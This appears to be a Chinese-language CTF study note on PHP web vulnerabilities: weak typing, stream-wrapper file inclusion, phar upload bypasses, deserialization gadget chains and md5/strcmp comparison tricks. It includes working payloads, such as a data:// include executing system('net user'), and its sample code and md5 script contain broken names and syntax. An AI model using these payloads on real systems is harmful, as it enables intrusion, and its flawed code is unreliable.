基础漏洞、弱类型、伪协议、反序列化
基础知识补漏
php类型转换机制
php是一种弱类型语言，它支持的类型有：
boolean，integer，float，string，array，object，callable，resource，NULL
类型之间转换可能会发生一些有趣的事情，总结如下：
转化成boolean
""(空字符串),"0"(字符串零),0(整型零),0.0(浮点零),array()(空数组),NULL,尚未被赋值的变量,都会被认为是false。
任何资源，NAN，-1，都被认为是true。
字符串转化成数值
如果该字符串没有包含 '.'，'e' 或 'E' 并且其数字值在整型的范围之内（由 PHP_INT_MAX 所定义），该字符串将被当成 integer 来取值，其它所有情况下都被作为 float 来取值。
字符串的开始部分决定了它的值。
如果该字符串以合法的数值开始，则使用该数值。否则其值为 0（零）。
合法数值由可选的正负号，后面跟着一个或多个数字（可能有小数点），再跟着可选的指数部分。指数部分由 'e' 或 'E' 后面跟着一个或多个数字构成。
php比较机制
"==="和"!=="即strict比较符,只有在类型相同时才相等。
"=="和"!="即non-strict比较符。如果比较的两者类型不同，会在类型转换后进行比较：字符串在与数字比较前会自动转换为数字；两个字符串比较，如果两个都是数字形式，则同时转换为数字进行比较。
一些例子：
0 == "a"
"1" == "01"
"100" == "1e2"
"0E32" == "0e21"
php伪协议
协议有很多种，比如file://,http://,ftp://等等，但有的协议只在php中得到支持，故称伪协议。
php://
用来访问各个输入输出流。
php.ini中有两个相关的设置
- allow_url_fopen:默认值是ON，允许url里的封装协议访问文件
- allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
php://input
php://input代表可以访问请求的原始数据，简单来说POST请求的情况下，php://input可以获取到post的数据。要求allow_url_include = ON
比较特殊的一点，enctype=”multipart/form-data” 的时候 ，php://input 是无效的。
php://filter
常用，任意文件读取，双OFF时可以使用。
用于将读取的数据经过一些过滤器，进行输出。
php://filter 目标使用以下的参数作为它路径的一部分。 一个路径上可以指定很多过滤器，形成一个过滤链。路径是用/作为分隔。
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
<；两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
举例说明：php://filter/read=string.rot13/resource=xxx 是对xxx这个resource进行rot13字母的操作，再输出。
下面是可转伪协议的字串中直接使用的的一些过滤器函数：
- 字符串过滤器
string.rot13
string.toupper
string.tolower
string.strip_tags
- 转换过滤器
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
data://
需要双ON的时候才可以使用。
将用户输入的信息以流的形式传入，需要allow_url_include = ON。这个协议并非伪协议，可以参考» RFC 2397的格式。
dataurl := "data:" [ mediatype ] [ ";base64" ] "," data
mediatype := [ type "/" subtype ] *( ";" parameter )
data := *urlchar
parameter := attribute "=" value
在URL中和在代码中的写法不太一样。URL中的写法示例：data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=，代码中的写法示例：file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=')。
下面举例：
- data:text/plain,...
<?php
@include($_GET["file"]);
?>
url: ...?file=data:text/plain,<?php system("net user")?>
result: user information
- data://text/base64,...
<?php
@include($_GET["file"]);
?>
url: ...?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information
- data://image/jpeg;base64,...
<?php
$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata']));
?>
图片木马
phar://及其他压缩协议
这些协议在双off的时候也可以使用。
phar://
phar，官网叫做php归档。实际上这是一个用于解压缩的协议，具体使用方法如下：phar://[待解压缩文件路径+文件名（包含后缀）]/[解压后的文件名称（包含后缀）]。
值得注意的是：虽然强制要求必须写上后缀名，但待解压的文件只要文件格式是zip(其他压缩格式有待实验)即可，对后缀名的形式并没有要求。利用这个特性，经常可以进行一些绕过的操作。
例如：
/about.php?file=phar://./images/file.jpg/1.php
[这是把想要上传的php文件打包成了压缩包，又更改成了jpg后缀进行绕过，上传，然后利用phar的解压还原成原来的文件。]
zip://
zip协议和phar非常类似，只不过它的格式有些差别，并且只能解压zip：zip://[待解压缩文件路径+文件名.zip]#[解压后的文件名称（包含后缀）]。在URL中会忽略#号后面的内容，所以要对它进行URL编码：zip://test.zip%23file.txt。
bzip2://和zlib://
前者只能解压后缀名为bz2的bzip2文件，后者只能解压后缀名为.gz的文件。用法和上述协议类似，举例如下：
?file=compress.bzip2://[绝对路径]/test.bz2
?file=compress.bzip2://./test.bz2
?file=compress.bzip2://[绝对路径]/test.gz
?file=compress.bzip2://./test.gz
这些不常用的协议可以在常用协议被禁止的时候作为备选项。
反序列化与漏洞
反序列化只是一个特性，真正造成漏洞的是用户可控。通过反序列化这个例子可以体会到一些关于漏洞挖掘的思想。
序列化：对象转化为字符串。反序列化：带有格式的字符串转化成对象。
想要序列化，只要写一个php脚本，模拟要序列化的类即可。在反序列化的过程中，会调用一系列的函数。如果能够利用这些函数或者它们调用的函数，找到这个链条上的危险函数，并且变量可控，即可进行攻击。
魔术函数
常规
__construct() 构造函数，对象new（创建）时自动调用
__destruct() 析构函数，对象销毁时自动调用
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
对象被销毁的时机：php程序运行结束，或者没有任何变量指向它。 > > 学习链接
__sleep(), __wakeup()
serialize()序列化时，检查类是否有sleep()函数，有则第一个执行。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。
unserialize()被调用时，首先检查wakeup()函数的存在，若存在则调用。该功能可重构对象具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接，并执行其他重新初始化任务。
利用
举例：
正常程序逻辑是不会触及class2的，但可以通过反序列化来构造：
<?php
class vulclass {
var $test;
function __construct() {
$this->test = new class1();
}
function __destruct() {
$this->test->action();
}}
class class1 {
function action() {
echo "class1";
}}
class class2 {
var $test2;
function action() {
eval($this->test2);
}}
$c = new vulcalss();
unserialize($_GET['test']);
?>
可以构造这样的对象，传入参数后就可以执行漏洞函数：
<?php
class vulclass {
var $test;
function __construct() {
$this->test = new ph0en2x();
}
}
class ph0en2x {
var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>
Bypass
绕过正则匹配
增加一个+号
场景来源：
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
这个正则表达式检测开头为o或c，接下来是冒号，然后是数字的模式，忽略大小写。使用如下方式可以绕过：O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
经过尝试，注意：加号只能在冒号后面添加，其他地方不可以。
具体绕过原理不明。
绕过__wakeup()函数
（）自定义反序列化字符串，给出的变量个数小于你定义的个数，就会绕过。 一个实例
Auto Loading
unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类，传统编程需要很多include和require，后来出现了autooading技术，自动导入使用的类。
还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。
- Composer配置的依赖库存储在vendor目录下
- 如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require DIR . '/vendor/autoload.php';
漏洞函数
strcmp
在两个字符串相等的时候返回0，该函数不能处理数组，如果传入了数组参数会返回NULL。
根据之前的类型比较，如果比较时使用了strcmp(a,b) == 0，那么（NULL == 0）是true，所以传入数组可以绕过该函数。
防御方法是使用 === 进行严格比较。
in_array和array_search
函数原型：
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
如果strict参数没有提供，in_array就使用==判断$needle是否在$haystack中。
当strict的值为true时，in_array()会比较needls的类型和haystack中的类型是否相同。
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
switch语句
如果switch是数字类型的case的判断时，switch会将其中的参数转换为int类型。
$i ="1abc";
switch ($i) {
case 0:
case 1:
echo "i is less than 2 but not negative";
break;
case 2:
echo "i is 2";
}
会输出 i is less than 2 but not negative
is_numeric
md5
- md5(数组)会返回 null (Warning级别)
Warning: md5() expects parameter 1 to be string, array given in /main.php on line 7
- 0e开头碰撞：根据比较机制的缺陷，使md5值都是0e开头,即可绕过md5(a) == md5(b)这样的条件判断。
示例
0e644c2d05e6d81ff04194145d497c74 1aaabw
0e93fcef5a44bbc455bb54011b8c6b2f 2aaady
0edfb3f3a9ab8d5ae227861e9a44b3e7 3aaacO
0eabd2eeb3b01d5b516a4e5bc51d6a43 4aaaci
0e1e066173172fd0eb55ac92ee4d9254 5aaabd
0e98a9e89b8bf419701c85ec8183247c 6aaabp
0e17990dcefa714d524be3fcab79491c 7aaaad
0e5a9f50d8369a2bbbab1797752111f1 8aaalf
0e2eb438bed241fdb0f6fa0d93ac86c5 9aaaaE
python脚本
import hashlib
ts = "tsctf" #想要开头的字符串
cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
def check(plx):
m = hashlib.md5()
t = m.update((ts+plx).encode("utf-8")).hexdigest()
if t.startswith("0e"):
print(m+" : "m.hexdigest())
return True
else:
return False
# 找不到的话也可以多几个循环嵌套
for x in cs:
for y in cs:
if check(x+y):
print(ts+x+y)
break
- md5碰撞：使用fastcoll工具。
https://github.com/upbit/clone-fastcoll
%00截断
php版本小于等于5.2.9和magic_quotes_gpc关闭，两个条件都必须满足才能截断。
影响的函数
- include,include_once,require,require_once
- file_exists
- ereg,eregi(正则表达式匹配)
- file_get_contents
不处理截断的函数
- strlen
